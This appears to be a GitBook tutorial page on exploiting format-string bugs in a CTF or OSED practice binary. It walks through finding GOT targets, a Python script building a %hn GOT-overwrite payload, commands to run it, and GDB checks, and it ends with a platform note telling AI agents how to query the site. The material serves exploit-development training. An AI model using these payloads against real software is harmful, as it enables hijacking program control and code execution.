> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/exploit-development/format-string-specifier-attacks/exploitation-steps.md).

# exploitation steps

### After Finding the Offset — Full Exploitation Flow

Once you confirm your offset (let's say it's **4**), here's exactly what to do next, in order:

***

### Step 1: Confirm Clean Read

```bash
./vuln "AAAA%4\$x"
# Must print: AAAA41414141
```

If yes — offset is locked in. Now you own a **read primitive**.

***

### Step 2: Decide Your Target

You need an address to **overwrite**. Common choices:

```bash
# See all writable addresses in the binary
objdump -R ./vuln          # Linux: shows GOT entries
readelf -S ./vuln          # shows sections

# Find functions you want to hijack
objdump -d ./vuln | grep -E "<exit|<puts|<printf|<win>"
```

For a typical CTF/OSED binary the target is usually:

| Target                              | When to use                         |
| ----------------------------------- | ----------------------------------- |
| **GOT entry** of `exit()`, `puts()` | Redirect next call to that function |
| **Return address** on stack         | Control flow when function returns  |
| **SEH handler** (Windows)           | Trigger exception to hijack         |

Let's use **GOT overwrite** as the example — most common.

```bash
objdump -R ./vuln | grep exit
# 0804c01c R_386_JUMP_SLOT   exit@GLIBC
#  ^^^^^^^^ THIS IS YOUR WRITE TARGET
```

***

### Step 3: Decide What to Write There

You need an address to **jump to**. Two scenarios:

**Scenario A — binary has a `win()` function (CTF)**

```bash
objdump -d ./vuln | grep win
# 080484b6 <win>:
#  ^^^^^^^^ THIS IS YOUR WRITE VALUE
```

**Scenario B — no win function, need shellcode**

```bash
# Find where your input buffer lives in memory
# Run in GDB, look at ESP area after printf call
gdb ./vuln
(gdb) break printf
(gdb) run "AAAA"
(gdb) x/40wx $esp
# Find 0x41414141 — that's your buffer address
```

***

### Step 4: Build the Write Payload

You will write a **32-bit value** using **two 16-bit `%hn` writes**.

```
WRITE TARGET: 0x0804c01c  (GOT exit)
WRITE VALUE:  0x080484b6  (win function)

Split value:
  lo = 0x84b6  (lower 2 bytes) → write to 0x0804c01c
  hi = 0x0804  (upper 2 bytes) → write to 0x0804c01e
```

#### The Payload Structure

```
[addr_lo 4 bytes][addr_hi 4 bytes][padding %c][%4$hn][padding %c][%5$hn]
     ↑                 ↑
  0x0804c01c       0x0804c01e
  (at offset 4)    (at offset 5)
```

#### Python Script

```python
#!/usr/bin/env python3
import struct

# ── CONFIG ──────────────────────────────────────────
WRITE_TARGET = 0x0804c01c   # GOT entry of exit()
WRITE_VALUE  = 0x080484b6   # address of win()
OFFSET       = 4            # your confirmed stack offset
# ────────────────────────────────────────────────────

lo = WRITE_VALUE & 0xFFFF           # 0x84b6 = 33974
hi = (WRITE_VALUE >> 16) & 0xFFFF  # 0x0804 =  2052

addr_lo = struct.pack("<I", WRITE_TARGET)      # where lo goes
addr_hi = struct.pack("<I", WRITE_TARGET + 2)  # where hi goes

# 8 bytes already printed (two 4-byte addresses)
already = 8

# Always write the SMALLER half first to avoid huge padding
if lo > hi:
    # write lo first (offset 4), then hi (offset 5)
    pad1 = (lo - already)    % 0x10000
    pad2 = (hi - lo)         % 0x10000
    fmt  = addr_lo + addr_hi
    fmt += f"%{pad1}c%{OFFSET}$hn".encode()
    fmt += f"%{pad2}c%{OFFSET+1}$hn".encode()
else:
    # write hi first (offset 4), then lo (offset 5)
    pad1 = (hi - already)    % 0x10000
    pad2 = (lo - hi)         % 0x10000
    fmt  = addr_hi + addr_lo
    fmt += f"%{pad1}c%{OFFSET}$hn".encode()
    fmt += f"%{pad2}c%{OFFSET+1}$hn".encode()

with open("/tmp/payload", "wb") as f:
    f.write(fmt)

print(f"[+] lo  = 0x{lo:04x} ({lo})")
print(f"[+] hi  = 0x{hi:04x} ({hi})")
print(f"[+] pad1 = {pad1}")
print(f"[+] pad2 = {pad2}")
print(f"[+] Payload size: {len(fmt)} bytes")
print(f"[+] Payload written to /tmp/payload")
```

***

### Step 5: Fire It

```bash
python3 build_payload.py

# Run with binary payload (important: use $() won't work for binary)
./vuln "$(cat /tmp/payload)"

# OR safer with printf:
./vuln "$(printf '%s' "$(cat /tmp/payload)")"

# OR in Python directly:
python3 -c "
import subprocess, struct
payload = open('/tmp/payload','rb').read()
subprocess.run(['./vuln', payload])
"
```

***

### Step 6: Verify in GDB Before Running Blind

```bash
gdb ./vuln

# Set breakpoint after printf returns
(gdb) break main+80
(gdb) run "$(cat /tmp/payload)"

# Check if GOT was overwritten
(gdb) x/wx 0x0804c01c
# Should show: 0x080484b6  ← win() address

# Let it continue — should call win()
(gdb) continue
```

***

### The Full Mental Model

```
FORMAT STRING EXPLOITATION — DECISION TREE
═══════════════════════════════════════════

  [1] Find offset
        │
        ▼
  [2] Choose write target         ← GOT entry / ret addr / SEH
        │
        ▼
  [3] Choose write value          ← win() / shellcode addr / ROP
        │
        ▼
  [4] Split value → lo / hi
        │
        ▼
  [5] Build payload:
      [addr_lo][addr_hi][%pad1c%N$hn][%pad2c%(N+1)$hn]
        │
        ▼
  [6] Verify in GDB
        │
        ▼
  [7] Trigger target function call → code execution
```

***

### Common Problems at This Stage

| Problem                   | Cause                                      | Fix                                                    |
| ------------------------- | ------------------------------------------ | ------------------------------------------------------ |
| `%hn` crashes             | Address has null byte `\x00`               | Use `%hhn` byte-by-byte, reorder addresses             |
| Wrong value written       | Modular arithmetic off                     | Recalculate: `pad = (target - already) % 0x10000`      |
| ASLR makes address random | ASLR enabled                               | Leak address first with `%s` read, then compute offset |
| Nothing happens           | Wrote correct addr but function not called | Trigger the overwritten function after exploit         |

Post your binary's `objdump -R ./vuln` output and I can give you the exact payload for your specific binary.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/exploit-development/format-string-specifier-attacks/exploitation-steps.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
